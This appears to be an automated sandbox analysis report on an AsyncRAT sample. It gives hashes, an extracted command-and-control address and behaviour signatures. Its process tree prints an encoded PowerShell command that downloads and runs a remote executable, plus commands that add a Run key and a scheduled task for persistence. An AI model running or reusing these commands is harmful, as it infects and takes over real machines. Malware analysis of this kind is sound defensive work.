Analysis
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max time kernel
143s -
max time network
149s -
platform
windows10-2004_x64 -
resource
win10v2004-20220901-en -
resource tags
arch:x64arch:x86image:win10v2004-20220901-enlocale:en-usos:windows10-2004-x64system -
submitted
11-11-2022 07:02
Static task
static1
Behavioral task
behavioral1
Sample
WindowShellExperince.exe
Resource
win7-20220812-en
Behavioral task
behavioral2
Sample
WindowShellExperince.exe
Resource
win10v2004-20220901-en
General
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Target
WindowShellExperince.exe
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Size
6KB
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MD5
c45730a39a78c6754c78471e820bff88
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SHA1
725c3fd0a7afbacd85bb86535e00152d6cb4998d
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SHA256
11ec30aa3578d705303b3626615a9abdc9e876ccafdac76d1149680cb85d8e6d
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SHA512
35e5bfc810b76feddae33af90d3ee247c4148dd5e2076d7cb113859b9a45c5fdc6046bfe6305a9f2a908c9bff2db1a9e7062163703bba4d3217793289751c158
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SSDEEP
96:1QP5v79dkCFmYKk0UqUMYl+8t/Os7RMkmqXld3ojrrl:+5T9dPFxMUqULk8t/OS28ldS
Malware Config
Extracted
asyncrat
0.5.7B
System Guard Runtime
85.105.88.221:2531
System Guard Runtime
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delay
3
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install
false
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install_file
System Guard Runtime
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install_folder
%AppData%
Signatures
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Async RAT payload 1 IoCs
Processes:
resource yara_rule behavioral2/memory/4060-150-0x0000000000400000-0x0000000000412000-memory.dmp asyncrat -
Blocklisted process makes network request 1 IoCs
Processes:
powershell.exeflow pid process 26 3852 powershell.exe -
Downloads MZ/PE file
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Executes dropped EXE 1 IoCs
Processes:
82924msaurewkdf.exepid process 4852 82924msaurewkdf.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
WindowShellExperince.exedescription ioc process Key value queried \REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Control Panel\International\Geo\Nation WindowShellExperince.exe -
Adds Run key to start application 2 TTPs 1 IoCs
Processes:
powershell.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SystemGuardRuntime = "C:\\Users\\Admin\\AppData\\Roaming\\SystemGuardRuntime\\SystemGuardRuntime.exe" powershell.exe -
Suspicious use of SetThreadContext 1 IoCs
Processes:
82924msaurewkdf.exedescription pid process target process PID 4852 set thread context of 4060 4852 82924msaurewkdf.exe RegAsm.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
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Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
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Suspicious behavior: EnumeratesProcesses 4 IoCs
Processes:
powershell.exepowershell.exepid process 3852 powershell.exe 3852 powershell.exe 3308 powershell.exe 3308 powershell.exe -
Suspicious use of AdjustPrivilegeToken 2 IoCs
Processes:
powershell.exepowershell.exedescription pid process Token: SeDebugPrivilege 3852 powershell.exe Token: SeDebugPrivilege 3308 powershell.exe -
Suspicious use of WriteProcessMemory 22 IoCs
Processes:
WindowShellExperince.exepowershell.exe82924msaurewkdf.execmd.exedescription pid process target process PID 2224 wrote to memory of 3852 2224 WindowShellExperince.exe powershell.exe PID 2224 wrote to memory of 3852 2224 WindowShellExperince.exe powershell.exe PID 3852 wrote to memory of 4852 3852 powershell.exe 82924msaurewkdf.exe PID 3852 wrote to memory of 4852 3852 powershell.exe 82924msaurewkdf.exe PID 3852 wrote to memory of 4852 3852 powershell.exe 82924msaurewkdf.exe PID 4852 wrote to memory of 3308 4852 82924msaurewkdf.exe powershell.exe PID 4852 wrote to memory of 3308 4852 82924msaurewkdf.exe powershell.exe PID 4852 wrote to memory of 3308 4852 82924msaurewkdf.exe powershell.exe PID 4852 wrote to memory of 4380 4852 82924msaurewkdf.exe cmd.exe PID 4852 wrote to memory of 4380 4852 82924msaurewkdf.exe cmd.exe PID 4852 wrote to memory of 4380 4852 82924msaurewkdf.exe cmd.exe PID 4380 wrote to memory of 4544 4380 cmd.exe schtasks.exe PID 4380 wrote to memory of 4544 4380 cmd.exe schtasks.exe PID 4380 wrote to memory of 4544 4380 cmd.exe schtasks.exe PID 4852 wrote to memory of 4060 4852 82924msaurewkdf.exe RegAsm.exe PID 4852 wrote to memory of 4060 4852 82924msaurewkdf.exe RegAsm.exe PID 4852 wrote to memory of 4060 4852 82924msaurewkdf.exe RegAsm.exe PID 4852 wrote to memory of 4060 4852 82924msaurewkdf.exe RegAsm.exe PID 4852 wrote to memory of 4060 4852 82924msaurewkdf.exe RegAsm.exe PID 4852 wrote to memory of 4060 4852 82924msaurewkdf.exe RegAsm.exe PID 4852 wrote to memory of 4060 4852 82924msaurewkdf.exe RegAsm.exe PID 4852 wrote to memory of 4060 4852 82924msaurewkdf.exe RegAsm.exe
Processes
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C:\Users\Admin\AppData\Local\Temp\WindowShellExperince.exe"C:\Users\Admin\AppData\Local\Temp\WindowShellExperince.exe"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2224 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGQAeABpACMAPgBTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAFMAZQBjAG8AbgBkAHMAIAAzADAAOwAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJwBoAHQAdABwAHMAOgAvAC8AYwBkAG4ALgBkAGkAcwBjAG8AcgBkAGEAcABwAC4AYwBvAG0ALwBhAHQAdABhAGMAaABtAGUAbgB0AHMALwAxADAAMwA5ADEAOAA5ADYANQAyADUANgA2ADkANwA4ADYANgAxAC8AMQAwADMAOQAyADEAMAA2ADIANQA3ADYAOAA4ADgAMgAyADUANwAvAEMAUgAuAGUAeABlACcALAAgADwAIwBhAGwAeQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAGcAeQBuACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBBAHAAcABEAGEAdABhACAAPAAjAHMAYwBuACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnADgAMgA5ADIANABtAHMAYQB1AHIAZQB3AGsAZABmAC4AZQB4AGUAJwApACkAPAAjAGsAdwBnACMAPgA7ACAAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAC0ARgBpAGwAZQBQAGEAdABoACAAPAAjAG4AagBnACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAQQBwAHAARABhAHQAYQAgADwAIwBsAHgAaQAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwA4ADIAOQAyADQAbQBzAGEAdQByAGUAdwBrAGQAZgAuAGUAeABlACcAKQA8ACMAdQBqAGQAIwA+AA=="2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3852 -
C:\Users\Admin\AppData\Roaming\82924msaurewkdf.exe"C:\Users\Admin\AppData\Roaming\82924msaurewkdf.exe"3⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:4852 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Remove -ItemProperty -Path 'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' -Name 'SystemGuardRuntime';New-ItemProperty -Path 'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' -Name 'SystemGuardRuntime' -Value '"C:\Users\Admin\AppData\Roaming\SystemGuardRuntime\SystemGuardRuntime.exe"' -PropertyType 'String'4⤵
- Adds Run key to start application
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3308 -
C:\Windows\SysWOW64\cmd.exe"cmd" /C schtasks /create /tn \SystemGuardRuntime /tr "C:\Users\Admin\AppData\Roaming\SystemGuardRuntime\SystemGuardRuntime.exe" /st 00:00 /du 9999:59 /sc once /ri 60 /rl HIGHEST /f4⤵
- Suspicious use of WriteProcessMemory
PID:4380 -
C:\Windows\SysWOW64\schtasks.exeschtasks /create /tn \SystemGuardRuntime /tr "C:\Users\Admin\AppData\Roaming\SystemGuardRuntime\SystemGuardRuntime.exe" /st 00:00 /du 9999:59 /sc once /ri 60 /rl HIGHEST /f5⤵
- Creates scheduled task(s)
PID:4544 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe#cmd4⤵PID:4060
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
Loading Replay Monitor...
Downloads
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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractiveFilesize
1KB
MD51ac91b5cbaee1716597f815b59fc04d6
SHA106a81b1c3f692d18b9b8a2ac396beef5db89da4f
SHA2565eab192250ef11a9c0c8dcc67101290a7dd6c56eaca4f0c937a90e5dbd115ecb
SHA512d8190b750758928bf0459237306cf175385c0c2f3d633ab2bffe1f4a3b5d90d59412d9ed57f45ffeb071b3a2fb601606c02432f4fcff9bdb3b0dd74dbb929ccb
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C:\Users\Admin\AppData\Roaming\82924msaurewkdf.exeFilesize
87KB
MD53c6ccbfe897915f0fe6bc34d193bf4a0
SHA16fe3161ee66e317889066a302474e511220939e7
SHA25652bf11364e8430f4b271ebb29e2a55451543338be5b2a34e731ede58eef04241
SHA512e0bf1fc11deacb24b5d5de4bcfc522057d1ca1b4866325356b2c9a1f009c6562eee0c0e602478b3639de4beff14997d59a3b428281d9111278544fc5e3199536
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C:\Users\Admin\AppData\Roaming\82924msaurewkdf.exeFilesize
87KB
MD53c6ccbfe897915f0fe6bc34d193bf4a0
SHA16fe3161ee66e317889066a302474e511220939e7
SHA25652bf11364e8430f4b271ebb29e2a55451543338be5b2a34e731ede58eef04241
SHA512e0bf1fc11deacb24b5d5de4bcfc522057d1ca1b4866325356b2c9a1f009c6562eee0c0e602478b3639de4beff14997d59a3b428281d9111278544fc5e3199536
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memory/2224-132-0x0000000000680000-0x0000000000688000-memory.dmpFilesize
32KB
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memory/2224-134-0x00007FFC52A60000-0x00007FFC53521000-memory.dmpFilesize
10.8MB
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memory/2224-137-0x00007FFC52A60000-0x00007FFC53521000-memory.dmpFilesize
10.8MB
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memory/3308-159-0x00000000060B0000-0x00000000060CE000-memory.dmpFilesize
120KB
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memory/3308-160-0x0000000007460000-0x0000000007ADA000-memory.dmpFilesize
6.5MB
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memory/3308-167-0x0000000007170000-0x0000000007192000-memory.dmpFilesize
136KB
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memory/3308-166-0x0000000007130000-0x0000000007138000-memory.dmpFilesize
32KB
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memory/3308-165-0x0000000007150000-0x000000000716A000-memory.dmpFilesize
104KB
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memory/3308-164-0x0000000007040000-0x000000000704E000-memory.dmpFilesize
56KB
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memory/3308-163-0x0000000007090000-0x0000000007126000-memory.dmpFilesize
600KB
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memory/3308-145-0x0000000000000000-mapping.dmp
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memory/3308-162-0x0000000006E80000-0x0000000006E8A000-memory.dmpFilesize
40KB
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memory/3308-161-0x0000000006E10000-0x0000000006E2A000-memory.dmpFilesize
104KB
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memory/3308-148-0x0000000002200000-0x0000000002236000-memory.dmpFilesize
216KB
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memory/3308-158-0x0000000070C90000-0x0000000070CDC000-memory.dmpFilesize
304KB
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memory/3308-157-0x0000000006AD0000-0x0000000006B02000-memory.dmpFilesize
200KB
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memory/3308-151-0x0000000004C10000-0x0000000005238000-memory.dmpFilesize
6.2MB
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memory/3308-152-0x0000000004B80000-0x0000000004BA2000-memory.dmpFilesize
136KB
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memory/3308-153-0x0000000005470000-0x00000000054D6000-memory.dmpFilesize
408KB
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memory/3308-154-0x00000000054E0000-0x0000000005546000-memory.dmpFilesize
408KB
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memory/3308-156-0x0000000005B10000-0x0000000005B2E000-memory.dmpFilesize
120KB
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memory/3852-135-0x000002EE457E0000-0x000002EE45802000-memory.dmpFilesize
136KB
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memory/3852-133-0x0000000000000000-mapping.dmp
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memory/3852-142-0x00007FFC52A60000-0x00007FFC53521000-memory.dmpFilesize
10.8MB
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memory/3852-136-0x00007FFC52A60000-0x00007FFC53521000-memory.dmpFilesize
10.8MB
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memory/3852-138-0x00007FFC52A60000-0x00007FFC53521000-memory.dmpFilesize
10.8MB
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memory/4060-150-0x0000000000400000-0x0000000000412000-memory.dmpFilesize
72KB
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memory/4060-149-0x0000000000000000-mapping.dmp
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memory/4380-146-0x0000000000000000-mapping.dmp
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memory/4544-147-0x0000000000000000-mapping.dmp
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memory/4852-139-0x0000000000000000-mapping.dmp
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memory/4852-144-0x0000000005780000-0x0000000005D24000-memory.dmpFilesize
5.6MB
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memory/4852-143-0x00000000008A0000-0x00000000008BC000-memory.dmpFilesize
112KB